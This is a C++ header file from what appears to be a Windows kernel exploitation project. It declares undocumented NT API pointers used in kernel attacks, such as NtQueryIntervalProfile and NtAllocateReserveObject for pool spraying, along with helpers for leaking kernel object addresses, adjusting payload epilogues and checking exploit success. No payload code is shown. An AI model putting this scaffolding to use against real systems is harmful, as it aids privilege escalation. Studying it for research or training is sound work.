-------------------------------------------------------------------------------- /common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include "payloads.h" 17 | 18 | using namespace std; 19 | 20 | 21 | #define random(min, max) (rand() % (int)((max) - (min)) + (min)) 22 | 23 | 24 | // =========================================== 25 | // FUNCTIONS & STRUCTS DECLARATIONS 26 | // 27 | 28 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { 29 | USHORT UniqueProcessId; 30 | USHORT CreatorBackTraceIndex; 31 | UCHAR ObjectTypeIndex; 32 | UCHAR HandleAttributes; 33 | USHORT HandleValue; 34 | PVOID Object; 35 | ULONG GrantedAccess; 36 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; 37 | 38 | /* 39 | typedef struct _SYSTEM_HANDLE_INFORMATION { 40 | ULONG NumberOfHandles; 41 | SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; 42 | } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; 43 | */ 44 | 45 | enum ReserveObjectType { 46 | UserApcReserve = 0, 47 | IoCompletionReserve = 1 48 | }; 49 | 50 | typedef NTSTATUS (WINAPI *typeNtQueryIntervalProfile)( 51 | DWORD ProfileSource, 52 | PULONG Interval 53 | ); 54 | 55 | typedef NTSTATUS (WINAPI *typeNtAllocateVirtualMemory)( 56 | HANDLE ProcessHandle, 57 | const PVOID *BaseAddress, 58 | ULONG ZeroBits, 59 | const PULONG AllocationSize, 60 | ULONG AllocationType, 61 | ULONG Protect 62 | ); 63 | 64 | typedef NTSTATUS (WINAPI *typeNtMapUserPhysicalPages)( 65 | PVOID BaseAddress, 66 | ULONG_PTR NumberOfPages, 67 | PULONG_PTR UserPfnArray // Page Frame Numbers 68 | ); 69 | 70 | typedef NTSTATUS (WINAPI *typeNtAllocateReserveObject)( 71 | PHANDLE hObject, 72 | PVOID ObjectAttributes, 73 | ReserveObjectType ObjectType 74 | ); 75 | 76 | 77 | bool checkExploitSuccess(bool quiet = false); 78 | const wchar_t* getErrorString(DWORD error); 79 | DWORD spawnProcessAndGetPID(const wstring& command); 80 | shared_ptr adjustPayloadEpilogue(UCHAR retNumber, bool addPopEbp = false); 81 | bool leakCurrentProcessObjectsAddresses(std::map &objectsMap); 82 | 83 | 84 | /** 85 | * Metaprogrammed way of telling whether a template's type 86 | * is a subtype of a base template. To be used for instance 87 | * while telling whether passed template's type is a std::string/ 88 | * std::wstring as it must be subtype of template std::basic_string. 89 | **/ 90 | template